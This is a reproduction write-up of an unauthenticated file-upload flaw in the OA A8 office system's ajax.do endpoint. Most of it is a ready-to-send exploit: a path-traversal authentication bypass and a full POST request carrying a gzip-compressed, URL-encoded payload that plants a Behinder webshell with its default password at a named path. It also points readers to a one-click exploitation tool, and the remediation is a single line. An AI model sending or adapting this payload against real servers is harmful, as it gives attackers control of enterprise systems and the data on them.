Reproducing an Unauthorized Arbitrary File Upload Vulnerability in an OA System’s ajax.do Endpoint to Get a Shell
0x00 Introduction: OA A8 is a popular collaborative management application widely used by medium-sized and large enterprises and organizations. Because certain endpoints in older versions can be accessed without authorization and some functions have insufficient filtering, attackers can craft malicious requests to bypass authentication and upload malicious script files without logging in, thereby taking control of the server. 0x01 Affected Versions: OA V8.0, OA V7.1…
Read in Chinese→Reproducing an Unauthorized Arbitrary File Upload Vulnerability in an OA System’s ajax.do Endpoint to Get a Shell
0x00 Introduction
OA A8 is a popular collaborative management application widely used by medium-sized and large enterprises and organizations.
Because certain endpoints in older versions can be accessed without authorization and some functions have insufficient filtering, attackers can craft malicious requests to exploit the authentication bypass vulnerability and upload malicious script files without logging in, thereby taking control of the server.
0x01 Affected Versions
OA V8.0
OA V7.1, V7.1SP1
OA V7.0, V7.0SP1, V7.0SP2, V7.0SP3
OA V6.0, V6.1SP1, V6.1SP2
OA V5.x
0x02: Vulnerability Reproduction
1. First, Test Whether the Vulnerability Exists in the Target Environment
Use the POC to verify whether the vulnerability exists.
127.0.0.1:8002/seeyon/thirdpartyController.do.css/..;/ajax.do
Exploitation PAYLOAD
POST /seeyon/autoinstall.do.css/..;/ajax.do?method=ajaxAction&managerName=formulaManager&requestCompress=gzip HTTP/1.1
Host: 127.0.0.1
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
loginPageURL=; login_locale=zh_CN;
Content-Type: application/x-www-form-urlencoded
managerMethod=validate&arguments=%1F%C2%8B%08%00%00%00%00%00%00%00uTK%C2%93%C2%A2H%10%3E%C3%AF%C3%BE%0A%C3%82%C2%8Bv%C3%B4%C2%8C%C2%8D+c%C2%BB%13%7Bh_%C2%88%28*%28%C2%AF%C2%8D%3D%40%15Ba%15%C2%B0%C3%B2%10%C3%AC%C2%98%C3%BF%C2%BE%05%C3%98%C3%93%3D%C2%B1%C2%BDu%C2%A9%C3%8C%C2%AC%C3%8C%C2%AF%C3%B2%C3%BD%C3%97k%C3%B7%14_H%C2%8E%C2%9DC%C2%95x%C3%9D%3F%C2%98%C3%81%17%C3%A6M%C2%A28%C2%A4%C2%96t3%2F%C3%8D%C2%BA%C3%AF%C3%A2y%C2%99%5C%C2%BC4EqT%3Fj%C3%99%05E%3E%C2%938Y%C3%80%C3%BC%C3%89t%C3%BA%C3%BD%C2%A7%C2%AB%C3%A7%3AI%C2%92%3E%C2%A5%C2%9EW%C3%85%C3%91S%C3%A7%C3%BB%C3%AFL%7B%7E%0B%C2%9D%C3%82%C3%A9%C2%A3%C2%B8%C2%BF%C2%A3%26%C2%99qA%C2%99wa%C2%92w%C2%9A%C2%A3%00%C2%91we%3EQ%C3%AB%C3%95%C3%B8%C2%8F%1D%C2%AD%C2%81%3C%26%C3%90%C3%89%C2%BCA%3FL%C2%93%C2%B2%C3%B3%C3%B0%13%C2%9E%C2%B9%C2%BB%C2%92%06%1E%C3%86%C2%B5%2F%3B1%C2%B9%C2%81YR%C2%B9%C3%9C%C2%98%C2%95%C2%96A%C3%A6%C2%8A%C3%82mKj%19%C2%8B%C2%9C%C2%A5%C3%8A%C2%82Y%5C%C2%AC%C2%B9%24%C2%80d%C2%9E%03%5E%C3%8F%C3%97D%29%5Cm%2C%1F%07%2F%C3%85Q%5CD%C2%B6%26%C3%B9%C2%90%C3%A8%15%C3%A0p%C3%A1%C2%86%2C%C3%9Ah%C3%83J%0A%C2%87%C3%8FN%C2%A4%5C%C2%B7DM%00%C3%91C%28b%C3%8E%C3%96%C2%84%C2%ABe%40%2C%C2%898%03%C3%A2%C2%B8%C2%825%3EYp%C2%96%26%0C%C3%A8%7B%C2%BAFq%C3%9A%C3%B0%C2%A6%C2%9F%5B%C3%BCJ%00K%C2%B5%C3%B8TFqmc%C2%93%C3%8BH*va%C3%B9%0F%C3%A0_%C2%BE%C3%99%C2%A2%1E%C2%BA%C3%A2%C2%A2%C2%B2L5q%C2%B9%C3%A1%C2%A3%24*%C2%A9e*7iq%C3%B4m3%60mC8%C2%83j2%C2%A3%3A7%C3%80%C2%96%C2%85e%C2%A8%18D%C2%99.%C3%8F%5B%C2%BD%C2%838%0E%28F%25%C2%89%C2%9B%C3%84%C3%A3%C2%95%01%C2%A0%C2%B4L%C3%A9-%3F%C2%B8Bc%C2%95%3A%C3%86%C3%86%C3%9Fse%00%C3%B8%C2%8DoW%01%C3%B2L%15K%C2%8B%0CZ%08%C2%8Fh%7C%2C4W%C2%B9%C2%B4l%C3%AD%C3%96D%C3%856%C3%81%C2%B9%7Dl%C2%B1eQJ7%C3%93%12%C2%ADI%C2%89%5D%02Ygz%1E%C2%9DL%C3%B6%C2%99%C3%A6%C2%B4%C3%8E%C3%BB%C3%996j%C2%BDU%40s%40%C3%B3w%C3%8F%5B%C2%A4%C2%84%C2%80%C3%A0%2B%14K%0Cg%C3%82%01.W%C2%89K%C2%80%C3%AF%C3%9CXd%1F%C3%B6%03%C3%BB%C2%B0%C2%A9%C2%B6%C2%86%C2%8D%C2%ADP%3Fo%0F%C3%92%C3%80B%C3%92%08p%C3%BA%C2%AD%C2%A9%01%12%C2%AE%C3%90T%0D%C3%8B%28%07%C2%B6%C3%A6%23%C2%A8I%C2%A9S%C2%9DG%7B%0E_%C2%9D6%C3%86%C3%B1%1B%C2%BD%26%10%C3%839%C2%A6uU%03%C2%97%28X%C2%9E%C2%AE%26%C2%AA%C2%BEA%C3%B2%21%0B%C3%974%06%C3%87%C3%9C%C3%87%1BT%C3%A6%C2%B6%09%C3%BC%23%C2%A7%C2%87u%C2%AC%1A%C2%A7%0BG%7E%C2%82%C2%AD%C3%8A%C2%8F%3F%C3%BC%19%C3%99%C2%BF%C3%BE%C2%99%C3%88%C2%95%C2%84d%C2%AD%C2%91O%C3%AB%7C%C2%81%C3%8AO%C3%96o%C3%B8%C3%9Ay%C3%A4%12%C2%9D%C2%A7%C3%B5%C2%89%C2%A1%18%24%C2%A0j%C3%B4%C3%9A%C3%BA%C3%94z%C2%8D_%C2%BF%C3%96F%C2%9E%C2%9E%C2%A9%1C%C3%84V%25%C2%9C%5D%C3%96%C2%A6%C3%B9X%C2%A4%C2%B2%28%60XMn%C3%90%18%C3%A6%C2%AE%C2%81o%C3%B4m%C2%BA%C3%97%C2%95%C2%85%12%C2%AAs%C2%9A%C3%97%C3%A2n%C2%977%C3%BD%C3%81%C2%A9x%1F%C3%A9%C3%84%C2%A6%C2%BD*%2FW%18%C2%98%3A%06%C3%BC%3E%C2%B79%C2%9D%3D%12%C3%BD%C3%AD%C2%8F%1C%C3%944%C2%9D%5E%C2%97%1Cc%C3%AAgBc%C2%A0%C3%B1%C3%83%C2%95%1B%29%C2%ACe%08%21%C2%8D%C2%8F%C3%BA%C2%A1%C2%97%C3%90X%C2%A4%C2%A0%0A%C2%9A%C2%9E%C3%9Es%C3%A3%1C%C2%8A%C3%BA%10%C3%92%C3%9A%C3%AE%C2%A6%C3%A3%C2%A6%27%01%C2%A7T%C2%8E9a%5DQgw%C3%A1%C2%B5h%C3%AB%C2%BA*%5C%7E%C3%BF%C3%B8%3E%C3%ADL%C2%9AG%7D%C2%82R%C3%90%C2%9F%C2%BCh%C3%B3o%C3%83%C2%99%07bH%07%1E%C3%9E%C3%AFv%C3%96%3FW%C3%AA%C3%BDw%C2%AA%5B%C2%B3%3B%C3%93%C3%9A%C2%B6L%C3%AF%0E%C3%98o%C3%AFI%7E%3AQ%C2%80f%09%3C%7C%C3%A9%1C%0F%C2%8B%C2%AF%C3%8F%1F%C2%97%C3%84%C3%87%7D%C3%93o%18%1C%C3%B5%3E%C2%82%C3%BF%C2%9F.%C3%80q%C3%AAQ%C3%87%7E%7C%C2%AF%C3%B7%21%25%C2%A0wb%C3%92%C3%8C%C3%89%10%60%C3%8A%C2%B2%C3%AC%3D%C2%BCv%7F%C3%90%25I%17%C3%A5k%7Dg%C2%97%C3%9C%C3%AB%C3%BE%C3%BD%2FheA%C3%A4_%05%00%00Successful exploitation:
Failed exploitation:
冰蝎3 默认马pass : rebeyond
webshell地址: http://127.0.0.1/seeyon/SeeyouUpdate1.jspxConnection successful
The webshell content and filename can be customized. The data is simply compressed with gzip and then URL-encoded; the following tool can be used.
0x03 One-Click Graphical Exploitation
I recommend the exploitation tool by Qingshui Kawasaki.
It can also be used for incident response by locating the webshell based on the network packets. Impressive.
0x04 Vulnerability Remediation
Install the latest patch.